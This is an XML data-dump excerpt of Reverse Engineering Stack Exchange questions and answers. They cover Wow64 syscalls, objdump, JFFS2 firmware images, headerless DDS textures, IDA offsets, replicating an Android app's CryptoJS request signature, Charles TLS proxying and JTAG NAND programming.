  <row Id="24762" PostTypeId="2" ParentId="24758" CreationDate="2020-04-19T13:57:24.410" Score="5" Body="&lt;p&gt;Following cites, answering your first question come from &lt;em&gt;Windows Internals Sixth Edition Part 1&lt;/em&gt;, page 225:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Wow64 (Win32 emulation on 64-bit Windows) refers to the software that permits the execution&#xA;  of 32-bit x86 applications on 64-bit Windows. It is implemented as a set of user-mode DLLs, with&#xA;  some support from the kernel for creating 32-bit versions of what would normally only be 64-bit&#xA;  data ­structures [...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wow64 hooks all the code paths where 32-bit code would transition to the native 64-bit system&#xA;  or when the native system needs to call into 32-bit user-mode code.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wow64 transitions&#xA;  to native 64-bit mode, captures the parameters associated with the system call (converting 32-bit&#xA;  pointers to 64-bit pointers), and issues the corresponding native 64-bit system call. When the native&#xA;  system call returns, Wow64 converts any output parameters if necessary from 64-bit to 32-bit formats&#xA;  before returning to 32-bit mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, when you run some &lt;code&gt;32&lt;/code&gt; bit &lt;code&gt;x86&lt;/code&gt; program on &lt;code&gt;64&lt;/code&gt; bit Windows, such transitions may occur to enable this application to make a native system call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answer to your second question is already &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19333/what-are-the-difference-syscall-and-int-0x2e-instructions&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastActivityDate="2020-04-19T13:57:24.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24763" PostTypeId="2" ParentId="24761" CreationDate="2020-04-19T15:11:33.813" Score="1" Body="&lt;p&gt;I'm not sure exactly what you mean by &quot;automatic&quot;, but you could always &lt;em&gt;assemble&lt;/em&gt; your code, then run it through a decompiler to get your pseudocode C output. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/10925&quot;&gt;This answer&lt;/a&gt; details a way to do this entirely from the browser.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-04-19T15:11:33.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24764" PostTypeId="2" ParentId="24755" CreationDate="2020-04-19T15:53:59.137" Score="18" Body="&lt;p&gt;If you need null bytes, you can write them to a file and use the file as input for the program, e.g.:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;echo -e -n &amp;quot;\x00\xFF\xAB&amp;quot; &amp;gt; file.bin&lt;/p&gt;&#xA;&lt;p&gt;program &amp;lt; file.bin&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can use also use &lt;a href=&quot;https://linux.die.net/man/1/xxd&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;xxd&lt;/code&gt;&lt;/a&gt; to convert hex to binary:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;echo &amp;quot;00 FF AB&amp;quot; | xxd -r -p | program&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2020-04-19T17:12:17.517" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24765" PostTypeId="2" ParentId="24750" CreationDate="2020-04-19T17:45:25.990" Score="1" Body="&lt;p&gt;So, &lt;code&gt;objdump&lt;/code&gt;'s &lt;code&gt;-d&lt;/code&gt; will only disassemble &lt;em&gt;known&lt;/em&gt; code sections, usually &lt;code&gt;.text&lt;/code&gt; and possibly other sections marked executable. If the section table is corrupted or missing, this will fail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the section table is &lt;a href=&quot;https://github.com/BR903/ELFkickers/tree/master/sstrip&quot; rel=&quot;nofollow noreferrer&quot;&gt;not actually required&lt;/a&gt; for a file to be executable by the OS, so it can be removed or modified without affecting the file's behavior. In such cases, you can use &lt;code&gt;-b binary -D&lt;/code&gt; to tell &lt;code&gt;objdump&lt;/code&gt; to disassemble &lt;strong&gt;all&lt;/strong&gt; bytes in the file, ignoring any file structure. This will try to disassemble everything, including &lt;em&gt;file headers&lt;/em&gt;, &lt;em&gt;data sections&lt;/em&gt;, &lt;em&gt;string tables&lt;/em&gt; etc. You will need to make sense out of the resulting disassembly by distinguishing actual code from nonsense produced by disassembling unrelated data. Alternatively, you can figure out the actual executable parts of the file and &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/6604/60&quot;&gt;disassemble just that&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-19T17:45:25.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24766" PostTypeId="1" CreationDate="2020-04-19T20:28:07.263" Score="4" ViewCount="1402" Body="&lt;p&gt;I'm working with the firmware of SIP phone. I extracted the JFFS2 file system image from the firmware and mounted it using modprobe ike this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo modprobe mtdram total_size=36360&#xA;sudo modprobe mtdblock &#xA;sudo modprobe jffs2&#xA;sudo modprobe block2mtd&#xA;sudo dd if=~/1C6A83.jffs2  of=/dev/mtdblock0&#xA;sudo mount -t jffs2 /dev/mtdblock0 ~/mnt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I try to change files on the mounted device I get an error &quot;No space left on device&quot;. What am I doing wrong? May be my device mtdblock0 is protected from writing?&lt;/p&gt;&#xA;" OwnerUserId="32868" LastActivityDate="2021-06-22T08:20:10.663" Title="How can I modify files in a jffs2 image" Tags="|firmware|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24767" PostTypeId="1" CreationDate="2020-04-19T23:50:49.880" Score="1" ViewCount="343" Body="&lt;p&gt;I have some files which I've decrypted that I believe are DDS images. These files do not have a DDS header, however the data looks similar to what I've seen in other DDS images. I believe to a great extent that this data uses DXT5 texture compression. Is there any way for me make a DDS image out of these files if I dont have the file header?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to a pastebin with the data of one of the files that I believe are headerless DDS (DXT5): &lt;a href=&quot;https://pastebin.com/axf7ytfj&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/axf7ytfj&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="32871" LastEditorUserId="32871" LastEditDate="2020-04-20T00:05:40.613" LastActivityDate="2020-04-20T14:43:29.773" Title="Can I make a DDS image from headerless DDS data?" Tags="|windows|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24768" PostTypeId="2" ParentId="24758" CreationDate="2020-04-20T01:14:12.607" Score="1" Body="&lt;p&gt;I would add information to the first answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The switch of the mode from Wow64 to 64bit, aka &quot;Heaven's Gate&quot;, is in &lt;code&gt;wow64cpu.dll&lt;/code&gt;. &lt;code&gt;offset j_Wow64Transition&lt;/code&gt; is a part of &lt;code&gt;wow64cpu.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.slideshare.net/YardenShafir/jumping-into-heavens-gate&quot; rel=&quot;nofollow noreferrer&quot;&gt;These slides&lt;/a&gt; helps you to understand the procedure of executing 64bit syscall from Wow64 process with assembly codes as a example.&lt;/p&gt;&#xA;" OwnerUserId="32863" LastEditorUserId="245" LastEditDate="2020-04-20T21:02:46.117" LastActivityDate="2020-04-20T21:02:46.117" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24769" PostTypeId="2" ParentId="24749" CreationDate="2020-04-20T02:02:05.840" Score="1" Body="&lt;p&gt;Actually, it's automatic.  I don't have to pick size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a new project with a 64 bit binary the project shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processor=x86, Endian=little, Address Size=64, Compiler=gcc, Format=ELF&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a new project with a 32 bit binary the project shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Processor=x86, Endian=little, Addesss Size=32, Compiler=gcc, Format=ELF   &lt;/p&gt;&#xA;" OwnerUserId="32855" LastActivityDate="2020-04-20T02:02:05.840" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24770" PostTypeId="2" ParentId="24767" CreationDate="2020-04-20T14:43:29.773" Score="1" Body="&lt;p&gt;&lt;strong&gt;Can I make a DDS image from headerless DDS data?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, absolutely. The type of image (DXT5, DXT3, DXT1) can be a constant throughout the files, and the width can be inferred from the file size, model data, or some other metadata. Though, this may not be a DDS image as I am not getting a clear picture with TextureFinder&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dguJs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dguJs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32887" LastActivityDate="2020-04-20T14:43:29.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24771" PostTypeId="1" CreationDate="2020-04-20T15:08:16.440" Score="2" ViewCount="98" Body="&lt;p&gt;I was trying to replicate/copy the encryption of an android app which uses CryptoJS with sha256 encryption as having seen in the source code of the android app. fingerprinting the app, it was built with reactJS and TypeScript and apparently compiled with Babel compiler, which all I don't understand them thoroughly.&#xA;the code encrypts a signature to communicate with the server, Here is a snippet of the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = t.type + &quot;&amp;amp;&quot; + encodeURIComponent(t.url) + &quot;&amp;amp;&quot; + n + &quot;&amp;amp;&quot; + u + &quot;&amp;amp;&quot; + b + &#xA;                                &quot;&amp;amp;LS8goCQy4O2w5xnPmEOp/PjtKe37+d9HxRthqug9VC0=&quot;,&#xA;Signature = hexToBase64((0, c.default)(f).toString());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the snippet code &lt;code&gt;Signature = hexToBase64((0, c.default)(f).toString());&lt;/code&gt; the &lt;strong&gt;signature&lt;/strong&gt; is calculated but unfortunately because of source code was uglified and minified, in my research I identified the code responsible to calculate the signature is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__d(function (g, r, i, a, m, e, d) {&#xA;        var t,&#xA;        n;&#xA;        t = this,&#xA;        n = function (t) {&#xA;            return (function (n) {&#xA;                var o = t,&#xA;                s = o.lib,&#xA;                c = s.WordArray,&#xA;                f = s.Hasher,&#xA;                h = o.algo,&#xA;                u = [],&#xA;                l = [];&#xA;                !(function () {&#xA;                    function t(t) {&#xA;                        for (var o = n.sqrt(t), s = 2; s &amp;lt;= o; s++)&#xA;                            if (!(t % s))&#xA;                                return !1;&#xA;                        return !0&#xA;                    }&#xA;                    function o(t) {&#xA;                        return 4294967296 * (t - (0 | t)) | 0&#xA;                    }&#xA;                    for (var s = 2, c = 0; c &amp;lt; 64; )&#xA;                        t(s) &amp;amp;&amp;amp; (c &amp;lt; 8 &amp;amp;&amp;amp; (u[c] = o(n.pow(s, .5))), l[c] = o(n.pow(s, .3333333333333333)), c++), s++&#xA;                })();&#xA;                var _ = [],&#xA;                v = h.SHA256 = f.extend({&#xA;                    _doReset: function () {&#xA;                        this._hash = new c.init(u.slice(0))&#xA;                    },&#xA;                    _doProcessBlock: function (t, n) {&#xA;                        for (var o = this._hash.words, s = o[0], c = o[1], f = o[2], h = o[3], u = o[4], v = o[5], p = o[6], H = o[7], y = 0; y &amp;lt; 64; y++) {&#xA;                            if (y &amp;lt; 16)&#xA;                                _[y] = 0 | t[n + y];&#xA;                            else {&#xA;                                var w = _[y - 15],&#xA;                                A = (w &amp;lt;&amp;lt; 25 | w &amp;gt;&amp;gt;&amp;gt; 7) ^ (w &amp;lt;&amp;lt; 14 | w &amp;gt;&amp;gt;&amp;gt; 18) ^ w &amp;gt;&amp;gt;&amp;gt; 3,&#xA;                                S = _[y - 2],&#xA;                                B = (S &amp;lt;&amp;lt; 15 | S &amp;gt;&amp;gt;&amp;gt; 17) ^ (S &amp;lt;&amp;lt; 13 | S &amp;gt;&amp;gt;&amp;gt; 19) ^ S &amp;gt;&amp;gt;&amp;gt; 10;&#xA;                                _[y] = A + _[y - 7] + B + _[y - 16]&#xA;                            }&#xA;                            var b = s &amp;amp; c ^ s &amp;amp; f ^ c &amp;amp; f,&#xA;                            x = (s &amp;lt;&amp;lt; 30 | s &amp;gt;&amp;gt;&amp;gt; 2) ^ (s &amp;lt;&amp;lt; 19 | s &amp;gt;&amp;gt;&amp;gt; 13) ^ (s &amp;lt;&amp;lt; 10 | s &amp;gt;&amp;gt;&amp;gt; 22),&#xA;                            j = H + ((u &amp;lt;&amp;lt; 26 | u &amp;gt;&amp;gt;&amp;gt; 6) ^ (u &amp;lt;&amp;lt; 21 | u &amp;gt;&amp;gt;&amp;gt; 11) ^ (u &amp;lt;&amp;lt; 7 | u &amp;gt;&amp;gt;&amp;gt; 25)) + (u &amp;amp; v ^ ~u &amp;amp; p) + l[y] + _[y];&#xA;                            H = p,&#xA;                            p = v,&#xA;                            v = u,&#xA;                            u = h + j | 0,&#xA;                            h = f,&#xA;                            f = c,&#xA;                            c = s,&#xA;                            s = j + (x + b) | 0&#xA;                        }&#xA;                        o[0] = o[0] + s | 0,&#xA;                        o[1] = o[1] + c | 0,&#xA;                        o[2] = o[2] + f | 0,&#xA;                        o[3] = o[3] + h | 0,&#xA;                        o[4] = o[4] + u | 0,&#xA;                        o[5] = o[5] + v | 0,&#xA;                        o[6] = o[6] + p | 0,&#xA;                        o[7] = o[7] + H | 0&#xA;                    },&#xA;                    _doFinalize: function () {&#xA;                        var t = this._data,&#xA;                        o = t.words,&#xA;                        s = 8 * this._nDataBytes,&#xA;                        c = 8 * t.sigBytes;&#xA;                        return o[c &amp;gt;&amp;gt;&amp;gt; 5] |= 128 &amp;lt;&amp;lt; 24 - c % 32,&#xA;                        o[14 + (c + 64 &amp;gt;&amp;gt;&amp;gt; 9 &amp;lt;&amp;lt; 4)] = n.floor(s / 4294967296),&#xA;                        o[15 + (c + 64 &amp;gt;&amp;gt;&amp;gt; 9 &amp;lt;&amp;lt; 4)] = s,&#xA;                        t.sigBytes = 4 * o.length,&#xA;                        this._process(),&#xA;                        this._hash&#xA;                    },&#xA;                    clone: function () {&#xA;                        var t = f.clone.call(this);&#xA;                        return t._hash = this._hash.clone(),&#xA;                        t&#xA;                    }&#xA;                });&#xA;                o.SHA256 = f._createHelper(v),&#xA;                o.HmacSHA256 = f._createHmacHelper(v)&#xA;            })(Math),&#xA;            t.SHA256&#xA;        },&#xA;        &quot;object&quot; == typeof e ? m.exports = e = n(r(d[0])) : &quot;function&quot; == typeof define &amp;amp;&amp;amp; define.amd ? define([&quot;./core&quot;], n) : n(t.CryptoJS)&#xA;    }, 725, [726]);&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;another method with same functionality but with some minor changes was also defined:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    __d(function (g, r, i, a, m, e, d) {&#xA;        var t,&#xA;        n;&#xA;        t = this,&#xA;        n = function () {&#xA;            var t = t || (function (t, n) {&#xA;                var o = Object.create || (function () {&#xA;                    function t() {}&#xA;                    return function (n) {&#xA;                        var o;&#xA;                        return t.prototype = n,&#xA;                        o = new t,&#xA;                        t.prototype = null,&#xA;                        o&#xA;                    }&#xA;                })(),&#xA;                s = {},&#xA;                c = s.lib = {},&#xA;                u = c.Base = {&#xA;                    extend: function (t) {&#xA;                        var n = o(this);&#xA;                        return t &amp;amp;&amp;amp; n.mixIn(t),&#xA;                        n.hasOwnProperty('init') &amp;amp;&amp;amp; this.init !== n.init || (n.init = function () {&#xA;                            n.$super.init.apply(this, arguments)&#xA;                        }),&#xA;                        n.init.prototype = n,&#xA;                        n.$super = this,&#xA;                        n&#xA;                    },&#xA;                    create: function () {&#xA;                        var t = this.extend();&#xA;                        return t.init.apply(t, arguments),&#xA;                        t&#xA;                    },&#xA;                    init: function () {},&#xA;                    mixIn: function (t) {&#xA;                        for (var n in t)&#xA;                            t.hasOwnProperty(n) &amp;amp;&amp;amp; (this[n] = t[n]);&#xA;                        t.hasOwnProperty('toString') &amp;amp;&amp;amp; (this.toString = t.toString)&#xA;                    },&#xA;                    clone: function () {&#xA;                        return this.init.prototype.extend(this)&#xA;                    }&#xA;                },&#xA;                f = c.WordArray = u.extend({&#xA;                    init: function (t, n) {&#xA;                        t = this.words = t || [],&#xA;                        this.sigBytes = void 0 != n ? n : 4 * t.length&#xA;                    },&#xA;                    toString: function (t) {&#xA;                        return (t || p).stringify(this)&#xA;                    },&#xA;                    concat: function (t) {&#xA;                        var n = this.words,&#xA;                        o = t.words,&#xA;                        s = this.sigBytes,&#xA;                        c = t.sigBytes;&#xA;                        if (this.clamp(), s % 4)&#xA;                            for (var u = 0; u &amp;lt; c; u++) {&#xA;                                var f = o[u &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - u % 4 * 8 &amp;amp; 255;&#xA;                                n[s + u &amp;gt;&amp;gt;&amp;gt; 2] |= f &amp;lt;&amp;lt; 24 - (s + u) % 4 * 8&#xA;                            }&#xA;                        else&#xA;                            for (u = 0; u &amp;lt; c; u += 4)&#xA;                                n[s + u &amp;gt;&amp;gt;&amp;gt; 2] = o[u &amp;gt;&amp;gt;&amp;gt; 2];&#xA;                        return this.sigBytes += c,&#xA;                        this&#xA;                    },&#xA;                    clamp: function () {&#xA;                        var n = this.words,&#xA;                        o = this.sigBytes;&#xA;                        n[o &amp;gt;&amp;gt;&amp;gt; 2] &amp;amp;= 4294967295 &amp;lt;&amp;lt; 32 - o % 4 * 8,&#xA;                        n.length = t.ceil(o / 4)&#xA;                    },&#xA;                    clone: function () {&#xA;                        var t = u.clone.call(this);&#xA;                        return t.words = this.words.slice(0),&#xA;                        t&#xA;                    },&#xA;                    random: function (n) {&#xA;                        for (var o, s = [], c = function (n) {&#xA;                            n = n;&#xA;                            var o = 987654321,&#xA;                            s = 4294967295;&#xA;                            return function () {&#xA;                                var c = ((o = 36969 * (65535 &amp;amp; o) + (o &amp;gt;&amp;gt; 16) &amp;amp; s) &amp;lt;&amp;lt; 16) + (n = 18e3 * (65535 &amp;amp; n) + (n &amp;gt;&amp;gt; 16) &amp;amp; s) &amp;amp; s;&#xA;                                return c /= 4294967296,&#xA;                                (c += .5) * (t.random() &amp;gt; .5 ? 1 : -1)&#xA;                            }&#xA;                        }, u = 0; u &amp;lt; n; u += 4) {&#xA;                            var h = c(4294967296 * (o || t.random()));&#xA;                            o = 987654071 * h(),&#xA;                            s.push(4294967296 * h() | 0)&#xA;                        }&#xA;                        return new f.init(s, n)&#xA;                    }&#xA;                }),&#xA;                h = s.enc = {},&#xA;                p = h.Hex = {&#xA;                    stringify: function (t) {&#xA;                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c &amp;lt; o; c++) {&#xA;                            var u = n[c &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - c % 4 * 8 &amp;amp; 255;&#xA;                            s.push((u &amp;gt;&amp;gt;&amp;gt; 4).toString(16)),&#xA;                            s.push((15 &amp;amp; u).toString(16))&#xA;                        }&#xA;                        return s.join('')&#xA;                    },&#xA;                    parse: function (t) {&#xA;                        for (var n = t.length, o = [], s = 0; s &amp;lt; n; s += 2)&#xA;                            o[s &amp;gt;&amp;gt;&amp;gt; 3] |= parseInt(t.substr(s, 2), 16) &amp;lt;&amp;lt; 24 - s % 8 * 4;&#xA;                        return new f.init(o, n / 2)&#xA;                    }&#xA;                },&#xA;                l = h.Latin1 = {&#xA;                    stringify: function (t) {&#xA;                        for (var n = t.words, o = t.sigBytes, s = [], c = 0; c &amp;lt; o; c++) {&#xA;                            var u = n[c &amp;gt;&amp;gt;&amp;gt; 2] &amp;gt;&amp;gt;&amp;gt; 24 - c % 4 * 8 &amp;amp; 255;&#xA;                            s.push(String.fromCharCode(u))&#xA;                        }&#xA;                        return s.join('')&#xA;                    },&#xA;                    parse: function (t) {&#xA;                        for (var n = t.length, o = [], s = 0; s &amp;lt; n; s++)&#xA;                            o[s &amp;gt;&amp;gt;&amp;gt; 2] |= (255 &amp;amp; t.charCodeAt(s)) &amp;lt;&amp;lt; 24 - s % 4 * 8;&#xA;                        return new f.init(o, n)&#xA;                    }&#xA;                },&#xA;                y = h.Utf8 = {&#xA;                    stringify: function (t) {&#xA;                        try {&#xA;                            return decodeURIComponent(escape(l.stringify(t)))&#xA;                        } catch (t) {&#xA;                            throw new Error('Malformed UTF-8 data')&#xA;                        }&#xA;                    },&#xA;                    parse: function (t) {&#xA;                        return l.parse(unescape(encodeURIComponent(t)))&#xA;                    }&#xA;                },&#xA;                v = c.BufferedBlockAlgorithm = u.extend({&#xA;                    reset: function () {&#xA;                        this._data = new f.init,&#xA;                        this._nDataBytes = 0&#xA;                    },&#xA;                    _append: function (t) {&#xA;                        'string' == typeof t &amp;amp;&amp;amp; (t = y.parse(t)),&#xA;                        this._data.concat(t),&#xA;                        this._nDataBytes += t.sigBytes&#xA;                    },&#xA;                    _process: function (n) {&#xA;                        var o = this._data,&#xA;                        s = o.words,&#xA;                        c = o.sigBytes,&#xA;                        u = this.blockSize,&#xA;                        h = c / (4 * u),&#xA;                        p = (h = n ? t.ceil(h) : t.max((0 | h) - this._minBufferSize, 0)) * u,&#xA;                        l = t.min(4 * p, c);&#xA;                        if (p) {&#xA;                            for (var y = 0; y &amp;lt; p; y += u)&#xA;                                this._doProcessBlock(s, y);&#xA;                            var v = s.splice(0, p);&#xA;                            o.sigBytes -= l&#xA;                        }&#xA;                        return new f.init(v, l)&#xA;                    },&#xA;                    clone: function () {&#xA;                        var t = u.clone.call(this);&#xA;                        return t._data = this._data.clone(),&#xA;                        t&#xA;                    },&#xA;                    _minBufferSize: 0&#xA;                }),&#xA;                w = (c.Hasher = v.extend({&#xA;                        cfg: u.extend(),&#xA;                        init: function (t) {&#xA;                            this.cfg = this.cfg.extend(t),&#xA;                            this.reset()&#xA;                        },&#xA;                        reset: function () {&#xA;                            v.reset.call(this),&#xA;                            this._doReset()&#xA;                        },&#xA;                        update: function (t) {&#xA;                            return this._append(t),&#xA;                            this._process(),&#xA;                            this&#xA;                        },&#xA;                        finalize: function (t) {&#xA;                            return t &amp;amp;&amp;amp; this._append(t),&#xA;                            this._doFinalize()&#xA;                        },&#xA;                        blockSize: 16,&#xA;                        _createHelper: function (t) {&#xA;                            return function (n, o) {&#xA;                                return new t.init(o).finalize(n)&#xA;                            }&#xA;                        },&#xA;                        _createHmacHelper: function (t) {&#xA;                            return function (n, o) {&#xA;                                return new w.HMAC.init(t, o).finalize(n)&#xA;                            }&#xA;                        }&#xA;                    }), s.algo = {});&#xA;                return s&#xA;            })(Math);&#xA;            return t&#xA;        },&#xA;        &quot;object&quot; == typeof e ? m.exports = e = n() : &quot;function&quot; == typeof define &amp;amp;&amp;amp; define.amd ? define([], n) : t.CryptoJS = n()&#xA;    }, 726, []);&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't really understand which one is responsible to reproduce a signature like this : &lt;code&gt;aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA=&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;additionally in my research I was able to produce a signature but the server always returns invalid signature: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;app signature : aoRxyvXwpTMh5wzMSz3nGZkkHwo6spNL1cz6qwjvnBA=&#xA;&#xA;signature produced : Xpw28zTUMeJE9x4ki73tTs55IxDQy5Y4d0p9kgQgfo8=&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what am I missing from the above code snippet? can I change it into a pure javascript code?&lt;/p&gt;&#xA;" OwnerUserId="31398" LastEditorUserId="31398" LastEditDate="2020-04-21T08:11:07.307" LastActivityDate="2020-04-21T08:11:07.307" Title="Trying to replicate encryption of an android app" Tags="|android|encryption|obfuscation|patch-reversing|javascript|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24772" PostTypeId="1" CreationDate="2020-04-20T15:21:24.130" Score="1" ViewCount="394" Body="&lt;p&gt;I'm looking at a PE file that loads a bunch of strings and offsets into memory one after the other, and I was wondering whether there was any way to mark all of the dwords in a range of memory as offsets, and all references to chars in a range of memory as strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could do each manually, but it seems like the kind of thing that you should be able to reanalyze during debug or that you should be able to collectively reclassify.&lt;/p&gt;&#xA;" OwnerUserId="28032" LastActivityDate="2020-04-20T15:58:33.160" Title="How to mark collection of strings/ offsets in ida" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24774" PostTypeId="2" ParentId="24772" CreationDate="2020-04-20T15:58:33.160" Score="2" Body="&lt;p&gt;You can define the first one as an offset (&lt;code&gt;o&lt;/code&gt;), then make the &lt;em&gt;n&lt;/em&gt; dword(s) after it into an array (&lt;code&gt;*&lt;/code&gt;) and enter the size, in dwords, of the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Untick &quot;create as array&quot; if you only want the dwords to be treated as offsets but do not want them to be grouped into one chunk. This would be the behaviour should you manually make them &quot;offsets&quot;.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-04-20T15:58:33.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24775" PostTypeId="1" CreationDate="2020-04-20T19:00:19.140" Score="1" ViewCount="444" Body="&lt;p&gt;I am trying to setup a TLS proxy with Charles proxy to man-in-the-middle an Android app. I would like to be able to view the contents of HTTPS traffic. This is not an app that I built, rather I am trying to reverse engineer an apk that I obtained. I have performed my usual static analysis of the apk, but I also want to dynamically analyze the HTTPS traffic. I am running an emulated Pixel 2 device with API 23 (Marshmallow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read all the documentation I can find regarding how to use the Charles proxy as an TLS proxy for Android. However, much of the documentation is directed at setting up a TLS proxy for an app for which I have control over the AndroidManifest.xml and can thus set the network security configuration to trust user CAs--the default/documented procedure to setup a Charles TLS proxy involves downloading the Charles CA cert to the Android device and installing it as a user CA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed that if I could force the charles CA cert into the System cert folder (as opposed to the user certs) then the TLS proxy would &quot;just work.&quot; However, even after I copied the Charles CA cert into the &quot;/system/etc/security/cacerts&quot; directory I still can not MiTM HTTPS traffic for apps. In addition, when I try to MiTM web browser traffic, the browser still claims there is an issues with the TLS connection (even thought the Charles cert is in the cacerts folder and should now be trusted). I confirmed the Charles cert is listed in the list of &quot;System&quot; CA certificate (although the settings app does crash if I try to view the cert metadata info--because there is none for that cert, just the encoded certificate). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the Charles CA cert not trusted even when I have forced it into the system CA cert folder? Is there a better tool to be using besides Charles? Any help would be greatly appreciated as I am coming to my wits' end.&lt;/p&gt;&#xA;" OwnerUserId="15992" LastActivityDate="2020-04-22T19:37:40.310" Title="Charles TLS Proxy for Android device with root access" Tags="|android|dynamic-analysis|https-protocol|proxy|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24776" PostTypeId="1" CreationDate="2020-04-20T19:52:57.523" Score="1" ViewCount="808" Body="&lt;p&gt;We starting mass production of a custom device. It uses Chinese MCU LT1901. MCU core is arm926ej-s.&#xA;MCU boots from NAND flash. We are forced to program NAND flash before soldering on PCB.&#xA;I don't like it. I want to have a way to program NAND after soldering over JTAG.&#xA;I have only Chinese documentation for this MCU and this document doesn't have information about JTAG. &#xA;I have JTAGs like Link, FT2232H module.&#xA;I know in theory it's possible to do over JTAG.&#xA;But is it possible if I have not information about JTAG?&#xA;I tried to connect J-Link commander for different devices with the same core, but it fails.&#xA;What is the easiest way to program NAND over JTAG in my case?&lt;/p&gt;&#xA;" OwnerUserId="32893" LastActivityDate="2020-04-21T08:35:54.080" Title="NAND flash programming over host MCU JTAG" Tags="|jtag|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
